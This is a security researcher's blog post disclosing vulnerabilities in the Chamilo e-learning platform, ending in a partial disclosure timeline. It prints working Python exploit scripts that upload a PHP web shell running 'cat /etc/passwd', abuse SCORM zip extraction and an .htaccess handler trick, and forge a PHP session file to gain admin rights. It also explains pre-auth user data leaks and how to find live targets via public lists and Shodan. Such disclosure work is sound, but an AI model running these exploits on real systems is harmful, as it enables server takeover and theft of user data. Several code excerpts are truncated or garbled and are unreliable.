I had a friend who wanted to install a E-learning solution for his company. He choose Chamilo. It has a nice interface and is easy to install.

Then he asked me help to configure the mail server and some others little things. During the navigation on the pages, I saw it was in php, using no obvious framework and have nice parameters in the URL.

Since it is open-source, I put myself up to the challenge and the next day I downloaded and install it on a VM.

After some research, I discovered that there was a lot of php pages accessible without any authentication. I love pre-auth exploit! So I started to look into those files to see if there was interesting features for an exploit.


I installed the 1.11.8 version (the last stable release from github).
But checking the code for version 2.x, vulnerabilities are still present.

Leak Data

When I am searching inside the code, I love API. You always find some interesting things in it, because it’s not used the same way, doesn’t use the same logic or permissions. So I started with the main/ajax folder.

Obviously, the user_management.ajax.php file was the first one I looked into.
It didn’t take me a lot of times to realize I already have my first exploit.

Below are the first lines of the file:

/* For licensing terms, see /license.txt */

use Chamilo\UserBundle\Entity\User;
use Doctrine\Common\Collections\Criteria;
use Doctrine\ORM\Query\Expr\Join;

 * Responses to AJAX calls.
require_once __DIR__.'/../';

$action = $_GET['a'];

switch ($action) {
    case 'get_user_like':
        $query = $_REQUEST['q'];
        $conditions = [
            'username' => $query,
            'firstname' => $query,
            'lastname' => $query,
        $users = UserManager::getUserListLike($conditions, [], false, 'OR');
        $result = [];
        if (!empty($users)) {
            foreach ($users as $user) {
                $result[] = ['id' => $user['id'], 'text' => $user['complete_name'].' ('.$user['username'].')'];
            $result['items'] = $result;
        echo json_encode($result);

You can think that there is some permissions check done in the file, but no.

Usually it is protected with code like this:


but not in this case.

This is easily verifiable, let’s go to the webpage:


And there you are, the full list of users, with id, username, firstname and lastname!

Leak Data (again)

After this first leak, I wanted to explore more code! I didn’t find anything really interesting in the API, except some permissions issue I think, but not even sure about it.

So, the filter was quite simple, I was looking for pages that don’t have checking permissions like


I found one, related to user again. It is main/ticket/course_user_list.php.
It gives some information about users and courses, more specifically which class has been taken by which user.

The code is not very long, I paste it below:

require_once __DIR__.'/../inc/';

$userId = (int) $_GET['user_id'];
$userInfo = api_get_user_info($userId);

$coursesList = CourseManager::get_courses_list_by_user_id($userId, false, true);
$arrCourseList = [get_lang('Select')];
//Course List
foreach ($coursesList as $key => $course) {
    $courseInfo = CourseManager::get_course_information($course['code']);
    $arrCourseList[$courseInfo['code']] = $courseInfo['title'];

$userLabel = Display::tag('label', get_lang('User'), ['class' => 'control-label']);
$personName = api_get_person_name($userInfo['firstname'], $userInfo['lastname']);
$userInput = Display::tag(
        'disabled' => 'disabled',
        'type' => 'text',
        'value' => $personName,
$userControl = Display::div($userInput, ['class' => 'controls']);
$courseLabel = Display::tag('label', get_lang('Course'), ['class' => 'control-label']);
$courseSelect = Display::select('course_id', $arrCourseList, 0, [], false);
$courseControl = Display::div($courseSelect, ['class' => 'controls']);

$userDiv = Display::div($userLabel." ".$userControl, ['class' => 'control-group']);
$courseDiv = Display::div($courseLabel." ".$courseControl, ['class' => 'control-group']);

echo $userDiv;
echo $courseDiv;

The only thing you need is a user_id, but it is a sequential value so you can increase over it.


Possible RCE pre-auth / unserialize

Now, we can look at another file, which is anonymously accessible: main/lp/lp_upload.php

This file takes as input a $_FILES[‘user_file’] and, depending on the extension, it will process the file. Values for the type are multiples, and all of them have a specific process:

1. chamilo


2. scorm

$oScorm->import_package($_FILES['user_file'], $current_dir);

3. aicc


4. oogie

$o_ppt = new OpenofficePresentation($take_slide_name);
$first_item_id = $o_ppt->convert_document($_FILES['user_file'], 'make_lp', $_POST['slide_size']);

5. woogie

$o_doc = new OpenofficeText($split_steps);
$first_item_id = $o_doc->convert_document($_FILES['user_file']);

The first one (chamilo) will rename the file with uniqid() which make it unpredictable. But then it process this file and extract its content to




The interesting lines are an unserialize method used with a user input (a file extract from the zip):

$fp = @fopen('course_info.dat', "r");
$contents = @fread($fp, filesize('course_info.dat'));
$course = unserialize(base64_decode($contents));

The check is done after the unserialize. It means the input of this method is not filtered and only required to be base64 encoded.
I didn’t go further in the exploitation but you just need to right chain starting from this point. You can use PHPGGC to help for example.

import requests
import zipfile
import base64

#To change

f = open("course_info.dat",'w+')

zipfile.ZipFile(filename, mode='w').write("course_info.dat")
files = {'user_file':(filename,open(filename,'rb'))}
data = {}
r =, files=files,data=data)

When running the following code, you can see from the debugging console that the stdClass is created:


RCE pre-auth (again)

In the same file (lp_upload) but in the other type, called scorm, you can import a package, meaning a zip file. To have a ‘scorm’ type, you need a zip containing a imsmanifest.xml file, that’s all.

As you can see, the check specified that they don’t do anything if they see a php extension in the zip (in get_package_type):

if (preg_match('~.(php.*|phtml)$~i', $thisContent['filename'])) {
                    // New behaviour: Don't do anything. These files will be removed in scorm::import_package.
                } elseif (stristr($thisContent['filename'], 'imsmanifest.xml') !== false) {
                    $manifest = $thisContent['filename']; // Just the relative directory inside scorm/
                    $package_type = 'scorm';
                    break; // Exit the foreach loop.

The scorm type process the zip file as follow:

$current_dir = api_replace_dangerous_char(trim($_POST['current_dir']));
case 'scorm':
            $oScorm = new scorm();
            $manifest = $oScorm->import_package($_FILES['user_file'], $current_dir);
            if (!empty($manifest)) {
                $oScorm->import_manifest(api_get_course_id(), $_REQUEST['use_max_score']);

We can see that import_package receives the input unfiltered.

To be fast, below is the interesting lines of import_package function:

public function import_package(
        $currentDir = '',
        $courseInfo = [],
        $updateDirContents = false,
        $lpToCheck = null
$zipFilePath = $zipFileInfo['tmp_name'];
$zipFileName = $zipFileInfo['name'];
$zipFile = new PclZip($zipFilePath);
        // Check the zip content (real size and file extension).
        $zipContentArray = $zipFile->listContent();
        $packageType = '';
        $manifestList = [];
        // The following loop should be stopped as soon as we found the right imsmanifest.xml (how to recognize it?).
        $realFileSize = 0;
        foreach ($zipContentArray as $thisContent) {
            if (preg_match('~.(php.*|phtml)$~i', $thisContent['filename'])) {
                $file = $thisContent['filename'];
                $this->set_error_msg("File $file contains a PHP script");
            } elseif (stristr($thisContent['filename'], 'imsmanifest.xml')) {
                if ($thisContent['filename'] == basename($thisContent['filename'])) {
                } else {
                    if ($this->debug > 2) {
                        error_log("New LP - subdir is now ".$this->subdir);
                $packageType = 'scorm';
                $manifestList[] = $thisContent['filename'];
            $realFileSize += $thisContent['size'];

Okay, we can see several bad practices:
1. Use a blacklist to validate extension
2. When a php file is found, set an error message, but doesn’t stop the loop. Even worst with the comment saying that once the right file is found, it should stop the loop

So, to resume, it checks the content of the zip file and if it founds any php files, it will set an error message but continue the process.

Let’s see what’s going on after:

Some checking....

$newDir = api_replace_dangerous_char(trim($fileBaseName));


$course_rel_dir = api_get_course_path($courseInfo['code']).'/scorm'; // scorm dir web path starting from /courses

$course_sys_dir = api_get_path(SYS_COURSE_PATH).$course_rel_dir; // Absolute system path for this course.

$unzippingState = $zipFile->extract();

if ($dir = @opendir($courseSysDir.$newDir)) {
                if ($this->debug >= 1) {
                    error_log('New LP - Opened dir '.$courseSysDir.$newDir);
                while ($file = readdir($dir)) {
                    if ($file != '.' && $file != '..') {
                        // TODO: RENAMING FILES CAN BE VERY DANGEROUS SCORM-WISE, avoid that as much as possible!
                        //$safeFile = api_replace_dangerous_char($file, 'strict');
                        $findStr = ['\\', '.php', '.phtml'];
                        $replStr = ['/', '.txt', '.txt'];
                        $safeFile = str_replace($findStr, $replStr, $file);


An extraction of the files is done in $courseSysDir.$newDir. This directory has nothing secret and is known by the user. The only restriction to exploit this vulnerability is to know a course_id, which is not a sequential value. (more info below).

So, back to our code, the application extract the zip in a folder we know the path.
Then it loop through all files in this folder and delete them if they are dangerous, meaning for example if you have a .php extension.

In this case I see several possibilities to exploit this process, I will not test them all, I think the fix should be smart enough to block those cases anyway:

1. Race condition… or not…

Between the time from the extraction to the deletion of our malicious php file, there is some time. We can run a thread in parallel that request our file (we know the full URL) and execute it during this small amount of time. We can even fill the zip with a lot of empty files so the loop will take more times and it would be easier to trigger the vulnerability.



After some testing, I realised that you don’t need a Race condition. All you need is to put your files in a folder then zip the folder instead of all the files.
The checks in Chamilo will be done only at the first level of the folder. It means that it will check the folder’s extension and nothing else. It will leave all your files untouched: php extension, .htaccess, etc…


Depending on the server’s configuration, we can put a .htaccess in the zip file and a malicious php file called “hack.0xecute” for example.
We would put in the .htaccess file something like this:

AddType application/x-httpd-php .0xecute

meaning, apache will execute every file with the extension above as a php file and execute the code.

import requests
import zipfile
import os

#To change


cmd='cat /etc/passwd'
def zipdir(path, ziph):
    # ziph is zipfile handle
    for root, dirs, files in os.walk(path):
        for file in files:
            ziph.write(os.path.join(root, file))

tmpFolder = '/tmp/chamilo/'

if not os.path.exists(tmpFolder):

f = open(tmpFolder+"imsmanifest.xml",'w+')

f = open(tmpFolder+"exploit.php",'w+')
f.write('<?php echo shell_exec($_GET["cmd"]);')

f = open(tmpFolder+"exploit.0xecute",'w+')
f.write('<?php echo "OK";')

f = open(tmpFolder+".htaccess",'w+')
f.write('AddType application/x-httpd-php .0xecute')

zipf = zipfile.ZipFile(filename, 'w', zipfile.ZIP_DEFLATED)
zipdir(tmpFolder, zipf)


files = {'user_file':(filename,open(filename,'rb'))}
data = {}
r =, files=files,data=data)

urlExploit = baseUrl+"app/courses/"+courseName+"/scorm/python/tmp/chamilo/exploit.php"
print("Exploit URL: "+urlExploit)

print("If htaccess is working, you can check "+baseUrl+"app/courses/"+courseName+"/scorm/python/tmp/chamilo/exploit.0xecute")

r = requests.get(urlExploit+"?cmd="+cmd)



To be honest, I didn’t go further in the code, I didn’t check the post-authentication code after finding those vulnerabilities. I didn’t check XSS or other vulnerabilities neither, only RCE pre-auth.




  • Enable AllowOverride on the root folder
  • Module rewrite enabled

As said before, The only restriction to exploit this vulnerability is to know a course_id, which is not a sequential value.

But if you read above, the second leak data gives you several information about users and courses. So thanks to the combinaison, it is possible to find a course_id and exploit the RCE.


Privilege escalation / RCE

Looking at some files, I found out that the feature of uploading a file is done in a lot of places, and every time it is done differently, there is no unification about it.

So, for example we can go in main/inc/lib/nanogong/receiver.php and you will find a file upload of ‘voicefile’.

$filename = Security::remove_XSS($_GET['filename']);
$filename = urldecode($filename);
$filepath = Security::remove_XSS(urldecode($_GET['filepath']));
$dir = Security::remove_XSS(urldecode($_GET['dir']));

$course_code = Security::remove_XSS(urldecode($_GET['course_code']));
$_course = api_get_course_info($course_code);

$filename = trim($_GET['filename']);
$filename = Security::remove_XSS($filename);
$filename = Database::escape_string($filename);
$filename = api_replace_dangerous_char($filename);
$filename = disable_dangerous_file($filename);

$title = trim(str_replace('_chnano_.', '.', $filename)); //hide nanogong wav tag at title
$title = str_replace('_', ' ', $title);

$documentPath = $filepath . $filename;

if ($nano_user_id != api_get_user_id() || api_get_user_id() == 0 || $nano_user_id == 0) {
    echo 'Not allowed';

// Do not use here check Fileinfo method because return: text/plain
$groupInfo = GroupManager::get_group_properties($nano_group_id);
if (!file_exists($documentPath)) {
    //add document to disk
    move_uploaded_file($_FILES['voicefile']['tmp_name'], $documentPath);

At the end, it copies our file in $documentPath which is a concatenation of our 2 inputs: filename and filepath.

We can see that this is no joke about the $filename variable. is it filtered a lot!
But… what about $_GET[‘filepath’] ?
Nothing… except XSS.
So what we can do is put a file anywhere in the system. It may not have the extension we want but it’s not a problem.

Creating your own session

In a nutshell, what you can do is set the filepath to ‘/var/lib/php/sessions and set as filename ‘sess_0xecute’. What is going to happen?

This directory contains all the session of php. So maybe we cannot read them but we can create one with anything we want inside.

For example, to be admin, we can see that the following is required:

function api_is_platform_admin($allowSessionAdmins = false, $allowDrh = false)
    $isAdmin = Session::read('is_platformAdmin');
    if ($isAdmin) {
        return true;
    $user = api_get_user_info();

        isset($user['status']) &&
            ($allowSessionAdmins && $user['status'] == SESSIONADMIN) ||
            ($allowDrh && $user['status'] == DRH)

so we can put something like:


and we are admin.

require_once '../../../inc/';


if (!isset($_GET['filename']) || !isset($_GET['filepath']) || !isset($_GET['dir']) || !isset($_GET['course_code']) || !isset($_GET['nano_group_id']) || !isset($_GET['nano_session_id']) || !isset($_GET['nano_user_id'])) {
    echo 'Error. Not allowed';

if (!is_uploaded_file($_FILES['voicefile']['tmp_name'])) {

The only restriction, looking from the code, is to be logged-in and then it depends on the visibility of the course. You

import requests


myCookie = 'defaultMyCourseView1=0; PHPSESSID=2qfb65pnbhl6tra8v77boal7qv; ch_sid=0u0b9c2q9eun90cmsfnluriu74;'


files = {'voicefile':('session_0xecute',open("session_0xecute",'rb'))}
data = {}
r =, files=files,data=data, headers={'Cookie':myCookie})

print("Now you can set in your cookie ch_sid=0xecute")


If you don’t like the idea of playing with session, or maybe the session’s folder is not guessable, you can use this other techniques I found:

import requests


cmd='cat /etc/passwd'

myCookie = 'defaultMyCourseView1=0; PHPSESSID=2qfb65pnbhl6tra8v77boal7qv; ch_sid=0u0b9c2q9eun90cmsfnluriu74;'


files = {'voicefile':('x','<?php echo shell_exec($_GET["cmd"]);')}
data = {}
r =, files=files,data=data, headers={'Cookie':myCookie})

urlExploit = baseUrl+"main/inc/lib/nanogong/exploit.php"
print("Exploit URL: "+urlExploit)

print("If htaccess is working, you can check "+urlExploit)

r = requests.get(urlExploit+"?cmd="+cmd)

You can spot the trick?

I give an empty filename (the one that is filtered) and I put ‘exploit.php’ in the filepath. Since there is a concatenation with no slash between them…

And there you have your php file, in an executable directory.

A public repository of chamilo’s

What is the next step for a non-ethical hacker once he found a vulnerability on a source code?
He has to find website that has the application running. The advantage is that for chamilo, they already do that for you:
You have a list of a lot of chamilo’s installation.
Okay… it is true you don’t have the domain name or the IP, but you have the name of the e-learning platform, and this can be interesting.

On my side, every link I found or tried starting from this webpage were not using chamilo anymore or down. But I didn’t test all of them of course. I tested some that include domain name inside the title.

After a research on shodan, not so many has been shown:


Below the community page, it is written:

We collect the information on these sites by allowing an opt-in system on the administration page of each portal. This option sends a small summary of the portal information, in the background, to our server. This information contains (exhaustive list):
The portal name
The portal URL
The server's IP address
The number of users
The number of courses
The admin name
The admin e-mail
This information serves only for two reasons:
Establish a report of who is using Chamilo, so that the Chamilo community can show off a little of the number of organizations using it
Establish a list of people that might want to know when we discover critical security issues

Can someone explain to me how storing the IP and url of chamilo installation help in the two goals cited above?

From what we can see in the source code, this is what chamilo send:

$data = [
            'url' => api_get_path(WEB_PATH),
            'campus' => api_get_setting('siteName'),
            'contact' => api_get_setting('emailAdministrator'), // the admin's e-mail, with the only purpose of being able to contact admins to inform about critical security issues
            'version' => $system_version,
            'numberofcourses' => $number_of_courses, // to sum up into non-personal statistics - see
            'numberofusers' => $number_of_users, // to sum up into non-personal statistics
            'numberofactiveusers' => $number_of_active_users, // to sum up into non-personal statistics
            'numberofsessions' => $number_of_sessions,
            //The donotlistcampus setting recovery should be improved to make
            // it true by default - this does not affect numbers counting
            'donotlistcampus' => api_get_setting('donotlistcampus'),
            'organisation' => api_get_setting('Institution'),
            'language' => api_get_setting('platformLanguage'), //helps us know the spread of language usage for campuses, by main language
            'adminname' => api_get_setting('administratorName').' '.api_get_setting('administratorSurname'), //not sure this is necessary...
            'ip' => $_SERVER['REMOTE_ADDR'], //the admin's IP address, with the only purpose of trying to geolocate portals around the globe to draw a map
            // Reference to the packager system or provider through which
            // Chamilo is installed/downloaded. Packagers can change this in
            // the default config file (main/install/configuration.dist.php)
            // or in the installed config file. The default value is 'chamilo'
            'packager' => $packager,
            'unique_id' => $uniqueId,

So you have,

  • the WEB_PATH ( this is the url of your chamilo)
  • site name
  • email administrator
  • version of Chamilo you installed
  • number of courses
  • number of users
  • number of active users
  • number of sessions
  • donotlistcampus
  • Organisation
  • Language
  • Administrator name
  • The IP of the administrator (not the server!)

Maybe it is me but I don’t see in this file any restriction about what is send (main/inc/ajax/admin.ajax.php). And this is the only way you can check that your version is up to date. (Waiting for a response of Chamilo team)


So, it is a lot of personal data that is being fetch. And can you imagine if they get hacked and this become public?

Security issues

Chamilo has a great page concerning security issues:

It looks like they are taking very seriously security issues on their platform, which is nice!

They even have a really fast fixing-process:

So far, in the history of the project (since late 2009), all (but one) vulnerabilities have been fixed less than 120h (5 days) after they were reported to us

even daring:

making it the most secure open source e-learning platform to date.

The second page about security:

They speak about OWASP and filtering input, and best coding conventions. So how those vulnerabilities happened?



I am sure the team will do everything to improve the source code and fix those issues which includes:
– lack of permission checks
– lack of input’s filtration



Disclosure timeline:
23.01.2019: First contact with the team via not encrypted mail
25.01.2019: They say I can send them details of critical vulnerabilities by email. So I send them the two leaks information. I didn’t have the exploit or a confirmation that the RCE was working at that time.